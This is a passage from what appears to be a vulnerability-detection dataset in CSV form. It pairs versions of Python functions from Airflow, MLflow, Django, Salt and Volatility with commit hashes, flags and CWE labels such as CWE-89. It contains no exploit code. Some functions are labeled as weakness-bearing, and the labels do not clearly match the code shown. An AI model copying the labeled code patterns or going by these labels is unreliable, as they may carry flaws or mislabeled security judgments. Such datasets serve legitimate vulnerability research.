# We want the default/example we show in the docs to reflect the value _after_
# the config has been templated, not before
# e.g. {{dag_id}} in default_config.cfg -> {dag_id} in airflow.cfg, and what we want in docs
keys_to_format = [""default"", ""example""]
for conf_name, conf_section in configs.items():
for option_name, option in list(conf_section[""options""].items()):
for key in keys_to_format:
if option[key] and ""{{"" in option[key]:
option[key] = option[key].replace(""{{"", ""{"").replace(""}}"", ""}"")
version_added = option[""version_added""]
if version_added is not None and parse_version(version_added) > package_version:
del conf_section[""options""][option_name]
# Sort options, config and deprecated options for JINJA variables to display
for section_name, config in configs.items():
config[""options""] = {k: v for k, v in sorted(config[""options""].items())}
configs = {k: v for k, v in sorted(configs.items())}
for section in deprecated_options:
deprecated_options[section] = {k: v for k, v in sorted(deprecated_options[section].items())}
return configs, deprecated_options"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/file_utils.py,0,"def download_file_using_http_uri(http_uri, download_path, chunk_size=100000000, headers=None):
""""""
Downloads a file specified using the `http_uri` to a local `download_path`. This function
uses a `chunk_size` to ensure an OOM error is not raised a large file is downloaded.
Note : This function is meant to download files using presigned urls from various cloud
providers.
""""""
if headers is None:
headers = {}
with cloud_storage_http_request(""get"", http_uri, stream=True, headers=headers) as response:
augmented_raise_for_status(response)
with open(download_path, ""wb"") as output_file:
for chunk in response.iter_content(chunk_size=chunk_size):
if not chunk:
break
output_file.write(chunk)",,mlflow/mlflow,6fe0d2d46e4604464f7c721e9ad5f13a598071b9,"def download_file_using_http_uri(http_uri, download_path, chunk_size=100000000, headers=None):
""""""
Downloads a file specified using the `http_uri` to a local `download_path`. This function
uses a `chunk_size` to ensure an OOM error is not raised a large file is downloaded.
Note : This function is meant to download files using presigned urls from various cloud
providers.
""""""
with cloud_storage_http_request(""get"", http_uri, stream=True, headers=headers) as response:
augmented_raise_for_status(response)
with open(download_path, ""wb"") as output_file:
for chunk in response.iter_content(chunk_size=chunk_size):
if not chunk:
break
output_file.write(chunk)"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
old_db_params, new_db_params, strict=False):
""""""Perform a ""physical"" (non-ManyToMany) field update.""""""
# Drop any FK constraints, we'll remake them later
fks_dropped = set()
if old_field.remote_field and old_field.db_constraint:
fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
if strict and len(fk_names) != 1:
raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
len(fk_names),
model._meta.db_table,
old_field.column,
))
for fk_name in fk_names:
fks_dropped.add((old_field.column,))
self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
# Has unique been removed?
if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
# Find the unique constraint for this field
constraint_names = self._constraint_names(model, [old_field.column], unique=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
len(constraint_names),
model._meta.db_table,
old_field.column,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
# Drop incoming FK constraints if the field is a primary key or unique,
# which might be a to_field target, and things are going to change.
drop_foreign_keys = (
(
(old_field.primary_key and new_field.primary_key) or
(old_field.unique and new_field.unique)
) and old_type != new_type
)
if drop_foreign_keys:
# '_meta.related_field' also contains M2M reverse fields, these
# will be filtered out
for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
rel_fk_names = self._constraint_names(
new_rel.related_model, [new_rel.field.column], foreign_key=True
)
for fk_name in rel_fk_names:
self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
# Removed an index? (no strict check, as multiple indexes are possible)
# Remove indexes if db_index switched to False or a unique constraint
# will now be used in lieu of an index. The following lines from the
# truth table show all True cases; the rest are False:
#
# old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
# ------------------------------------------------------------------------------
# True | False | False | False
# True | False | False | True
# True | False | True | True
if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
# Find the index for this field
meta_index_names = {index.name for index in model._meta.indexes}
# Retrieve only BTREE indexes since this is what's created with
# db_index=True.
index_names = self._constraint_names(model, [old_field.column], index=True, type_=Index.suffix)
for index_name in index_names:
if index_name in meta_index_names:
# The only way to check if an index was created with
# db_index=True or with Index(['field'], name='foo')
# is to look at its name (refs #28053).
continue
self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
# Change check constraints?
if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
constraint_names = self._constraint_names(model, [old_field.column], check=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
len(constraint_names),
model._meta.db_table,
old_field.column,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
# Have they renamed the column?
if old_field.column != new_field.column:
self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
# Rename all references to the renamed column.
for sql in self.deferred_sql:
if isinstance(sql, Statement):
sql.rename_column_references(model._meta.db_table, old_field.column, new_field.column)
# Next, start accumulating actions to do
actions = []
null_actions = []
post_actions = []
# Type change?
if old_type != new_type:
fragment, other_actions = self._alter_column_type_sql(model, old_field, new_field, new_type)
actions.append(fragment)
post_actions.extend(other_actions)
# When changing a column NULL constraint to NOT NULL with a given
# default value, we need to perform 4 steps:
# 1. Add a default for new incoming writes
# 2. Update existing NULL rows with new default
# 3. Replace NULL constraint with NOT NULL
# 4. Drop the default again.
# Default change?
old_default = self.effective_default(old_field)
new_default = self.effective_default(new_field)
needs_database_default = (
old_field.null and
not new_field.null and
old_default != new_default and
new_default is not None and
not self.skip_default(new_field)
)
if needs_database_default:
actions.append(self._alter_column_default_sql(model, old_field, new_field))
# Nullability change?
if old_field.null != new_field.null:
fragment = self._alter_column_null_sql(model, old_field, new_field)
if fragment:
null_actions.append(fragment)
# Only if we have a default and there is a change from NULL to NOT NULL
four_way_default_alteration = (
new_field.has_default() and
(old_field.null and not new_field.null)
)
if actions or null_actions:
if not four_way_default_alteration:
# If we don't have to do a 4-way default alteration we can
# directly run a (NOT) NULL alteration
actions = actions + null_actions
# Combine actions together if we can (e.g. postgres)
if self.connection.features.supports_combined_alters and actions:
sql, params = tuple(zip(*actions))
actions = [("", "".join(sql), sum(params, []))]
# Apply those actions
for sql, params in actions:
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": sql,
},
params,
)
if four_way_default_alteration:
# Update existing rows with default value
self.execute(
self.sql_update_with_default % {
""table"": self.quote_name(model._meta.db_table),
""column"": self.quote_name(new_field.column),
""default"": ""%s"",
},
[new_default],
)
# Since we didn't run a NOT NULL change before we need to do it
# now
for sql, params in null_actions:
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": sql,
},
params,
)
if post_actions:
for sql, params in post_actions:
self.execute(sql, params)
# Added a unique?
if (not old_field.unique and new_field.unique) or (
old_field.primary_key and not new_field.primary_key and new_field.unique
):
self.execute(self._create_unique_sql(model, [new_field.column]))
# Added an index? Add an index if db_index switched to True or a unique
# constraint will no longer be used in lieu of an index. The following
# lines from the truth table show all True cases; the rest are False:
#
# old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
# ------------------------------------------------------------------------------
# False | False | True | False
# False | True | True | False
# True | True | True | False
if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
self.execute(self._create_index_sql(model, [new_field]))
# Type alteration on primary key? Then we need to alter the column
# referring to us.
rels_to_update = []
if old_field.primary_key and new_field.primary_key and old_type != new_type:
rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
# Changed to become primary key?
# Note that we don't detect unsetting of a PK, as we assume another field
# will always come along and replace it.
if not old_field.primary_key and new_field.primary_key:
# First, drop the old PK
self._delete_primary_key(model, strict)
# Make the new one
self.execute(
self.sql_create_pk % {
""table"": self.quote_name(model._meta.db_table),
""name"": self.quote_name(
self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_pk"")
),
""columns"": self.quote_name(new_field.column),
}
)
# Update all referencing columns
rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
# Handle our type alters on the other end of rels from the PK stuff above
for old_rel, new_rel in rels_to_update:
rel_db_params = new_rel.field.db_parameters(connection=self.connection)
rel_type = rel_db_params['type']
fragment, other_actions = self._alter_column_type_sql(
new_rel.related_model, old_rel.field, new_rel.field, rel_type
)
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(new_rel.related_model._meta.db_table),
""changes"": fragment[0],
},
fragment[1],
)
for sql, params in other_actions:
self.execute(sql, params)
# Does it have a foreign key?
if (new_field.remote_field and
(fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
new_field.db_constraint):
self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
# Rebuild FKs that pointed to us if we previously had to drop them
if drop_foreign_keys:
for rel in new_field.model._meta.related_objects:
if not rel.many_to_many and rel.field.db_constraint:
self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
# Does it have check constraints we need to add?
if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
self.execute(
self.sql_create_check % {
""table"": self.quote_name(model._meta.db_table),
""name"": self.quote_name(
self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_check"")
),
""column"": self.quote_name(new_field.column),
""check"": new_db_params['check'],
}
)
# Drop the default if we need to
# (Django usually does not use in-database defaults)
if needs_database_default:
changes_sql, params = self._alter_column_default_sql(model, old_field, new_field, drop=True)
sql = self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": changes_sql,
}
self.execute(sql, params)
# Reset connection if required
if self.connection.features.connection_persists_old_columns:
self.connection.close()",CWE-89,django/django,4dc35e126d8461589b4b4bc47b6f6bd6cc4a1455,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
old_db_params, new_db_params, strict=False):
""""""Perform a ""physical"" (non-ManyToMany) field update.""""""
# Drop any FK constraints, we'll remake them later
fks_dropped = set()
if old_field.remote_field and old_field.db_constraint:
fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
if strict and len(fk_names) != 1:
raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
len(fk_names),
model._meta.db_table,
old_field.column,
))
for fk_name in fk_names:
fks_dropped.add((old_field.column,))
self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
# Has unique been removed?
if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
# Find the unique constraint for this field
constraint_names = self._constraint_names(model, [old_field.column], unique=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
len(constraint_names),
model._meta.db_table,
old_field.column,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
# Drop incoming FK constraints if we're a primary key and things are going
# to change.
if old_field.primary_key and new_field.primary_key and old_type != new_type:
# '_meta.related_field' also contains M2M reverse fields, these
# will be filtered out
for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
rel_fk_names = self._constraint_names(
new_rel.related_model, [new_rel.field.column], foreign_key=True
)
for fk_name in rel_fk_names:
self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
# Removed an index? (no strict check, as multiple indexes are possible)
# Remove indexes if db_index switched to False or a unique constraint
# will now be used in lieu of an index. The following lines from the
# truth table show all True cases; the rest are False:
#
# old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
# ------------------------------------------------------------------------------
# True | False | False | False
# True | False | False | True
# True | False | True | True
if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
# Find the index for this field
meta_index_names = {index.name for index in model._meta.indexes}
# Retrieve only BTREE indexes since this is what's created with
# db_index=True.
index_names = self._constraint_names(model, [old_field.column], index=True, type_=Index.suffix)
for index_name in index_names:
if index_name in meta_index_names:
# The only way to check if an index was created with
# db_index=True or with Index(['field'], name='foo')
# is to look at its name (refs #28053).
continue
self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
# Change check constraints?
if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
constraint_names = self._constraint_names(model, [old_field.column], check=True)
if strict and len(constraint_names) != 1:
raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
len(constraint_names),
model._meta.db_table,
old_field.column,
))
for constraint_name in constraint_names:
self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
# Have they renamed the column?
if old_field.column != new_field.column:
self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
# Rename all references to the renamed column.
for sql in self.deferred_sql:
if isinstance(sql, Statement):
sql.rename_column_references(model._meta.db_table, old_field.column, new_field.column)
# Next, start accumulating actions to do
actions = []
null_actions = []
post_actions = []
# Type change?
if old_type != new_type:
fragment, other_actions = self._alter_column_type_sql(model, old_field, new_field, new_type)
actions.append(fragment)
post_actions.extend(other_actions)
# When changing a column NULL constraint to NOT NULL with a given
# default value, we need to perform 4 steps:
# 1. Add a default for new incoming writes
# 2. Update existing NULL rows with new default
# 3. Replace NULL constraint with NOT NULL
# 4. Drop the default again.
# Default change?
old_default = self.effective_default(old_field)
new_default = self.effective_default(new_field)
needs_database_default = (
old_field.null and
not new_field.null and
old_default != new_default and
new_default is not None and
not self.skip_default(new_field)
)
if needs_database_default:
actions.append(self._alter_column_default_sql(model, old_field, new_field))
# Nullability change?
if old_field.null != new_field.null:
fragment = self._alter_column_null_sql(model, old_field, new_field)
if fragment:
null_actions.append(fragment)
# Only if we have a default and there is a change from NULL to NOT NULL
four_way_default_alteration = (
new_field.has_default() and
(old_field.null and not new_field.null)
)
if actions or null_actions:
if not four_way_default_alteration:
# If we don't have to do a 4-way default alteration we can
# directly run a (NOT) NULL alteration
actions = actions + null_actions
# Combine actions together if we can (e.g. postgres)
if self.connection.features.supports_combined_alters and actions:
sql, params = tuple(zip(*actions))
actions = [("", "".join(sql), sum(params, []))]
# Apply those actions
for sql, params in actions:
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": sql,
},
params,
)
if four_way_default_alteration:
# Update existing rows with default value
self.execute(
self.sql_update_with_default % {
""table"": self.quote_name(model._meta.db_table),
""column"": self.quote_name(new_field.column),
""default"": ""%s"",
},
[new_default],
)
# Since we didn't run a NOT NULL change before we need to do it
# now
for sql, params in null_actions:
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": sql,
},
params,
)
if post_actions:
for sql, params in post_actions:
self.execute(sql, params)
# Added a unique?
if (not old_field.unique and new_field.unique) or (
old_field.primary_key and not new_field.primary_key and new_field.unique
):
self.execute(self._create_unique_sql(model, [new_field.column]))
# Added an index? Add an index if db_index switched to True or a unique
# constraint will no longer be used in lieu of an index. The following
# lines from the truth table show all True cases; the rest are False:
#
# old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
# ------------------------------------------------------------------------------
# False | False | True | False
# False | True | True | False
# True | True | True | False
if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
self.execute(self._create_index_sql(model, [new_field]))
# Type alteration on primary key? Then we need to alter the column
# referring to us.
rels_to_update = []
if old_field.primary_key and new_field.primary_key and old_type != new_type:
rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
# Changed to become primary key?
# Note that we don't detect unsetting of a PK, as we assume another field
# will always come along and replace it.
if not old_field.primary_key and new_field.primary_key:
# First, drop the old PK
self._delete_primary_key(model, strict)
# Make the new one
self.execute(
self.sql_create_pk % {
""table"": self.quote_name(model._meta.db_table),
""name"": self.quote_name(
self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_pk"")
),
""columns"": self.quote_name(new_field.column),
}
)
# Update all referencing columns
rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
# Handle our type alters on the other end of rels from the PK stuff above
for old_rel, new_rel in rels_to_update:
rel_db_params = new_rel.field.db_parameters(connection=self.connection)
rel_type = rel_db_params['type']
fragment, other_actions = self._alter_column_type_sql(
new_rel.related_model, old_rel.field, new_rel.field, rel_type
)
self.execute(
self.sql_alter_column % {
""table"": self.quote_name(new_rel.related_model._meta.db_table),
""changes"": fragment[0],
},
fragment[1],
)
for sql, params in other_actions:
self.execute(sql, params)
# Does it have a foreign key?
if (new_field.remote_field and
(fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
new_field.db_constraint):
self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
# Rebuild FKs that pointed to us if we previously had to drop them
if old_field.primary_key and new_field.primary_key and old_type != new_type:
for rel in new_field.model._meta.related_objects:
if not rel.many_to_many and rel.field.db_constraint:
self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
# Does it have check constraints we need to add?
if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
self.execute(
self.sql_create_check % {
""table"": self.quote_name(model._meta.db_table),
""name"": self.quote_name(
self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_check"")
),
""column"": self.quote_name(new_field.column),
""check"": new_db_params['check'],
}
)
# Drop the default if we need to
# (Django usually does not use in-database defaults)
if needs_database_default:
changes_sql, params = self._alter_column_default_sql(model, old_field, new_field, drop=True)
sql = self.sql_alter_column % {
""table"": self.quote_name(model._meta.db_table),
""changes"": changes_sql,
}
self.execute(sql, params)
# Reset connection if required
if self.connection.features.connection_persists_old_columns:
self.connection.close()"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/base.py,1,"def init_connection_state(self):
cursor = self.create_cursor()
# Set the territory first. The territory overrides NLS_DATE_FORMAT
# and NLS_TIMESTAMP_FORMAT to the territory default. When all of
# these are set in single statement it isn't clear what is supposed
# to happen.
cursor.execute(""ALTER SESSION SET NLS_TERRITORY = 'AMERICA'"")
# Set oracle date to ansi date format. This only needs to execute
# once when we create a new connection. We also set the Territory
# to 'AMERICA' which forces Sunday to evaluate to a '1' in
# TO_CHAR().
cursor.execute(
""ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'""
"" NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'""
+ ("" TIME_ZONE = 'UTC'"" if settings.USE_TZ else ''))
cursor.close()
if 'operators' not in self.__dict__:
# Ticket #14149: Check whether our LIKE implementation will
# work for this connection or we need to fall back on LIKEC.
# This check is performed only once per DatabaseWrapper
# instance per thread, since subsequent connections will use
# the same settings.
cursor = self.create_cursor()
try:
cursor.execute(""SELECT 1 FROM DUAL WHERE DUMMY %s""
% self._standard_operators['contains'],
['X'])
except DatabaseError:
self.operators = self._likec_operators
else:
self.operators = self._standard_operators
cursor.close()
# There's no way for the DatabaseOperations class to know the
# currently active Oracle version, so we do some setups here.
# TODO: Multi-db support will need a better solution (a way to
# communicate the current version).
if self.oracle_version is not None and self.oracle_version <= 9:
self.ops.regex_lookup = self.ops.regex_lookup_9
else:
self.ops.regex_lookup = self.ops.regex_lookup_10
try:
self.connection.stmtcachesize = 20
except AttributeError:
# Django docs specify cx_Oracle version 4.3.1 or higher, but
# stmtcachesize is available only in 4.3.2 and up.
pass",CWE-89,django/django,20472aa827669d2b83b74e521504e88e18d086a1,"def init_connection_state(self):
cursor = self.create_cursor()
# Set the territory first. The territory overrides NLS_DATE_FORMAT
# and NLS_TIMESTAMP_FORMAT to the territory default. When all of
# these are set in single statement it isn't clear what is supposed
# to happen.
cursor.execute(""ALTER SESSION SET NLS_TERRITORY = 'AMERICA'"")
# Set oracle date to ansi date format. This only needs to execute
# once when we create a new connection. We also set the Territory
# to 'AMERICA' which forces Sunday to evaluate to a '1' in
# TO_CHAR().
cursor.execute(
""ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'""
"" NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'""
+ ("" TIME_ZONE = 'UTC'"" if settings.USE_TZ else ''))
cursor.close()
if 'operators' not in self.__dict__:
# Ticket #14149: Check whether our LIKE implementation will
# work for this connection or we need to fall back on LIKEC.
# This check is performed only once per DatabaseWrapper
# instance per thread, since subsequent connections will use
# the same settings.
cursor = self.create_cursor()
try:
cursor.execute(""SELECT 1 FROM DUAL WHERE DUMMY %s""
% self._standard_operators['contains'],
['X'])
except DatabaseError:
self.operators = self._likec_operators
else:
self.operators = self._standard_operators
cursor.close()
# There's no way for the DatabaseOperations class to know the
# currently active Oracle version, so we do some setups here.
# TODO: Multi-db support will need a better solution (a way to
# communicate the current version).
if self.oracle_version is not None and self.oracle_version <= 9:
self.ops.regex_lookup = self.ops.regex_lookup_9
else:
self.ops.regex_lookup = self.ops.regex_lookup_10
try:
self.connection.stmtcachesize = 20
except:
# Django docs specify cx_Oracle version 4.3.1 or higher, but
# stmtcachesize is available only in 4.3.2 and up.
pass"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/win_pkg.py,0,"def _get_msiexec(use_msiexec):
'''
Return if msiexec.exe will be used and the command to invoke it.
'''
if use_msiexec is False:
return False, ''
if isinstance(use_msiexec, six.string_types):
if os.path.isfile(use_msiexec):
return True, use_msiexec
else:
log.warning((""msiexec path '{0}' not found. Using system registered""
"" msiexec instead"").format(use_msiexec))
use_msiexec = True
if use_msiexec is True:
return True, 'msiexec'",,saltstack/salt,d257421aefa4f78ec6830e4bd555e113e71d746b,"def _get_msiexec(use_msiexec):
'''
Return if msiexec.exe will be used and the command to invoke it.
'''
if use_msiexec is False:
return (False, '')
if os.path.isfile(use_msiexec):
return (True, use_msiexec)
else:
log.warning((""msiexec path '{0}' not found. Using system registered""
"" msiexec instead"").format(use_msiexec))
use_msiexec = True
if use_msiexec is True:
return (True, 'msiexec')"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/impscan.py,0,"def _vicinity_scan(self, addr_space, calls_imported,
apis, base_address, data_len, forward):
""""""Scan forward from the lowest IAT entry found or
backward from the highest IAT entry found. We do this
because not every imported function will be called
from the code section and sometimes page(s) with the
calls are unavailable.
@param addr_space: an AS
@param calls_imported: dictionary of confirmed imports
@param apis: dictionary of exported functions in the AS
@param base_address: memory base address
@param data_len: size in bytes to check from base_address
@param forwared: the direction for the vicinity scan
""""""
sortedlist = calls_imported.keys()
sortedlist.sort()
if not sortedlist:
return
size_of_address = addr_space.profile.get_obj_size(""address"")
if forward:
start_addr = sortedlist[0]
else:
start_addr = sortedlist[len(sortedlist) - 1]
# We stop scanning when the threshold reaches zero. This
# value is decremented each invalid or duplicate API call
# seen. It resets when a valid API call is seen.
threshold = 5
i = 0
while threshold and i < 0x2000:
if forward:
next_addr = start_addr + (i * size_of_address)
else:
next_addr = start_addr - (i * size_of_address)
call_dest = obj.Object(""address"", offset = next_addr,
vm = addr_space).v()
if (not call_dest or
call_dest < base_address or
call_dest > base_address + data_len):
threshold -= 1
i += 1
continue
# Reset the threshold if we found a valid API call,
# otherwise decrement the threshold by one
if call_dest in apis and call_dest not in calls_imported:
calls_imported[next_addr] = call_dest
threshold = 5
else:
threshold -= 1
i += 1",,volatilityfoundation/volatility,65507320bee7b4855de08d2d0e7678be9a400d5e,"def _vicinity_scan(self, addr_space, calls_imported,
apis, base_address, data_len, forward):
""""""Scan forward from the lowest IAT entry found or
backward from the highest IAT entry found. We do this
because not every imported function will be called
from the code section and sometimes page(s) with the
calls are unavailable.
@param addr_space: an AS
@param calls_imported: dictionary of confirmed imports
@param apis: dictionary of exported functions in the AS
@param base_address: memory base address
@param data_len: size in bytes to check from base_address
@param forwared: the direction for the vicinity scan
""""""
sortedlist = calls_imported.keys()
sortedlist.sort()
size_of_address = addr_space.profile.get_obj_size(""address"")
if forward:
start_addr = sortedlist[0]
else:
start_addr = sortedlist[len(sortedlist) - 1]
# We stop scanning when the threshold reaches zero. This
# value is decremented each invalid or duplicate API call
# seen. It resets when a valid API call is seen.
threshold = 5
i = 0
while threshold and i < 0x2000:
if forward:
next_addr = start_addr + (i * size_of_address)
else:
next_addr = start_addr - (i * size_of_address)
call_dest = obj.Object(""address"", offset = next_addr,
vm = addr_space).v()
if (not call_dest or
call_dest < base_address or
call_dest > base_address + data_len):
threshold -= 1
i += 1
continue
# Reset the threshold if we found a valid API call,
# otherwise decrement the threshold by one
if call_dest in apis and call_dest not in calls_imported:
calls_imported[next_addr] = call_dest
threshold = 5
else:
threshold -= 1
i += 1"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_dag_endpoint.py,1,"def test_should_respond_200_and_pause_dag_pattern(self, session, url_safe_serializer):
file_token = url_safe_serializer.dumps(""/tmp/dag_1.py"")
self._create_dag_models(10)
file_token10 = url_safe_serializer.dumps(""/tmp/dag_10.py"")
response = self.client.patch(
""/api/v1/dags?dag_id_pattern=TEST_DAG_1"",
json={
""is_paused"": True,
},
environ_overrides={""REMOTE_USER"": ""test""},
)
assert response.status_code == 200
assert {
""dags"": [
{
""dag_id"": ""TEST_DAG_1"",
""description"": None,
""fileloc"": ""/tmp/dag_1.py"",
""file_token"": file_token,
""is_paused"": True,
""is_active"": True,
""is_subdag"": False,
""owners"": [],
""root_dag_id"": None,
""schedule_interval"": {
""__type"": ""CronExpression"",
""value"": ""2 2 * * *"",
},
""tags"": [],
""next_dagrun"": None,
""has_task_concurrency_limits"": True,
""next_dagrun_data_interval_start"": None,
""next_dagrun_data_interval_end"": None,
""max_active_runs"": 16,
""next_dagrun_create_after"": None,
""last_expired"": None,
""max_active_tasks"": 16,
""last_pickled"": None,
""default_view"": None,
""last_parsed_time"": None,
""scheduler_lock"": None,
""timetable_description"": None,
""has_import_errors"": False,
""pickle_id"": None,
},
{
""dag_id"": ""TEST_DAG_10"",
""description"": None,
""fileloc"": ""/tmp/dag_10.py"",
""file_token"": file_token10,
""is_paused"": True,
""is_active"": True,
""is_subdag"": False,
""owners"": [],
""root_dag_id"": None,
""schedule_interval"": {
""__type"": ""CronExpression"",
""value"": ""2 2 * * *"",
},
""tags"": [],
""next_dagrun"": None,
""has_task_concurrency_limits"": True,
""next_dagrun_data_interval_start"": None,
""next_dagrun_data_interval_end"": None,
""max_active_runs"": 16,
""next_dagrun_create_after"": None,
""last_expired"": None,
""max_active_tasks"": 16,
""last_pickled"": None,
""default_view"": None,
""last_parsed_time"": None,
""scheduler_lock"": None,
""timetable_description"": None,
""has_import_errors"": False,
""pickle_id"": None,
},
],
""total_entries"": 2,
} == response.json
dags_not_updated = session.query(DagModel).filter(~DagModel.is_paused)
assert len(dags_not_updated.all()) == 8
dags_updated = session.query(DagModel).filter(DagModel.is_paused)
assert len(dags_updated.all()) == 2",CWE-703,apache/airflow,44f5c61f8cc3db70f0f7042c444fcf094821d542,"def test_should_respond_200_and_pause_dag_pattern(self, session, url_safe_serializer):
file_token = url_safe_serializer.dumps(""/tmp/dag_1.py"")
self._create_dag_models(10)
file_token10 = url_safe_serializer.dumps(""/tmp/dag_10.py"")
response = self.client.patch(
""/api/v1/dags?dag_id_pattern=TEST_DAG_1"",
json={
""is_paused"": True,
},
environ_overrides={""REMOTE_USER"": ""test""},
)
assert response.status_code == 200
assert {
""dags"": [
{
""dag_id"": ""TEST_DAG_1"",
""description"": None,
""fileloc"": ""/tmp/dag_1.py"",
""file_token"": file_token,
""is_paused"": True,
""is_active"": True,
""is_subdag"": False,
""owners"": [],
""root_dag_id"": None,
""schedule_interval"": {
""__type"": ""CronExpression"",
""value"": ""2 2 * * *"",
},
""tags"": [],
""next_dagrun"": None,
""has_task_concurrency_limits"": True,
""next_dagrun_data_interval_start"": None,
""next_dagrun_data_interval_end"": None,
""max_active_runs"": 16,
""next_dagrun_create_after"": None,
""last_expired"": None,
""max_active_tasks"": 16,
""last_pickled"": None,
""default_view"": None,
""last_parsed_time"": None,
""scheduler_lock"": None,
""timetable_description"": None,
""has_import_errors"": False,
""pickle_id"": None,
},
{
""dag_id"": ""TEST_DAG_10"",
""description"": None,
""fileloc"": ""/tmp/dag_10.py"",
""file_token"": file_token10,
""is_paused"": True,
""is_active"": True,
""is_subdag"": False,
""owners"": [],
""root_dag_id"": None,
""schedule_interval"": {
""__type"": ""CronExpression"",
""value"": ""2 2 * * *"",
},
""tags"": [],
""next_dagrun"": None,
""has_task_concurrency_limits"": True,
""next_dagrun_data_interval_start"": None,
""next_dagrun_data_interval_end"": None,
""max_active_runs"": 16,
""next_dagrun_create_after"": None,
""last_expired"": None,
""max_active_tasks"": 16,
""last_pickled"": None,
""default_view"": None,
""last_parsed_time"": None,
""scheduler_lock"": None,
""timetable_description"": None,
""has_import_errors"": False,
""pickle_id"": None,
},
],
""total_entries"": 2,
} == response.json
dags_not_updated = session.query(DagModel).filter(~DagModel.is_paused)
assert len(dags_not_updated.all()) == 8
dags_updated = session.query(DagModel).filter(DagModel.is_paused)
assert len(dags_updated.all()) == 2"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_chat_model.py,1,"def test_chat_model_works_with_infer_signature_input_example(tmp_path):
model = SimpleChatModel()
params_subset = {
""max_tokens"": 100,
}
input_example = {
""messages"": [
{
""role"": ""user"",
""content"": ""What is Retrieval-augmented Generation?"",
}
],
**params_subset,
}
with mlflow.start_run():
model_info = mlflow.pyfunc.log_model(
""model"", python_model=model, input_example=input_example
)
assert model_info.signature.inputs == CHAT_MODEL_INPUT_SCHEMA
assert model_info.signature.outputs == CHAT_MODEL_OUTPUT_SCHEMA
mlflow_model = Model.load(model_info.model_uri)
local_path = _download_artifact_from_uri(model_info.model_uri)
assert mlflow_model.load_input_example(local_path) == {
""messages"": input_example[""messages""],
**params_subset,
}
inference_payload = load_serving_example(model_info.model_uri)
response = pyfunc_serve_and_score_model(
